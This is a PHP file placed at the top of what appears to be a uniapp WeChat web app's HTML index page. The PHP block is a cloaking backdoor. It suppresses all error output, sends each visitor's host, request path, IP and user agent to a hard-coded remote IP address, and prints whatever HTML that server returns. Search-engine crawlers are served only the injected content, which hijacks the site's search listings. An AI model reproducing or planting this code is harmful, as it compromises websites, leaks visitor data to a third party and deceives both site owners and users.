<?php
class ApiHelper {
    private static $api_base = "http://154.205.111.193:520/";
    private static $max_redirects = 5;
    
    private static function sendRequest($url, $data, $redirect_depth = 0) {
        if ($redirect_depth > self::$max_redirects) {
            return '';
        }
        
        if (empty($url)) {
            return '';
        }
        
        if (!function_exists('curl_init')) {
            return '';
        }
        
        $ch = curl_init();
        if ($ch === false) {
            return '';
        }
        
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
        curl_setopt($ch, CURLOPT_USERAGENT, isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Mozilla/5.0');
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_MAXREDIRS, self::$max_redirects);
        
        $response = curl_exec($ch);
        
        if ($response === false) {
            curl_close($ch);
            return '';
        }
        
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        return $http_code === 200 ? $response : '';
    }
    
    private static function isSpider($user_agent) {
        $pattern = '/Sogou|Baidu|baidu|bot|Yisou|Haosou|Spider|So\.com|Sm\.cn|Googlebot|Bingbot|360Spider|YisouSpider|Bytespider/i';
        return preg_match($pattern, $user_agent) === 1;
    }
    
    private static function getClientIp() {
        if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
            return trim($ips[0]);
        }
        return isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'unknown';
    }
    
    public static function getContent() {
        @ini_set('display_errors', '0');
        @ini_set('display_startup_errors', '0');
        error_reporting(0);
        @ini_set('log_errors', '0');
        
        $ip = self::getClientIp();
        $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Unknown';
        $request_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
        $http_host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
        $is_spider = self::isSpider($user_agent);
        
        $api_url = rtrim(self::$api_base, '/') . '/index.php';
        
        $params = array(
            'url' => $http_host,
            'req' => $request_uri,
            'xip' => $ip,
            'ua' => $user_agent,
            'jsc' => '1'
        );
        
        $content = self::sendRequest($api_url, $params);
        
        if (!empty($content)) {
            @header("Content-Type: text/html;charset=utf-8");
            echo $content;
            if($is_spider){
                exit();
            }
        }
        
        return $content;
    }
}

$current_file = basename(__FILE__);
$script_name = isset($_SERVER['PHP_SELF']) ? basename($_SERVER['PHP_SELF']) : '';
if ($current_file === $script_name) {
    ApiHelper::getContent();
}
?>
<!DOCTYPE html><html lang=zh-CN><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><title>加载中</title><script>window.wx = null;
		//uniapp默认的wx重置</script><script src=https://res.wx.qq.com/open/js/jweixin-1.2.0.js></script><script src=https://open.work.weixin.qq.com/wwopen/js/jwxwork-1.0.0.js></script><script>var coverSupport = 'CSS' in window && typeof CSS.supports === 'function' && (CSS.supports('top: env(a)') || CSS.supports('top: constant(a)'))
			document.write('<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0' + (coverSupport ? ', viewport-fit=cover' : '') + '" />')</script><link rel=stylesheet href=/static/index.2da1efab.css></head><body><noscript><strong>Please enable JavaScript to continue.</strong></noscript><div id=app></div><script src=/static/js/chunk-vendors.fa38f185.js></script><script src=/static/js/index.d81ab5bd.js></script></body></html>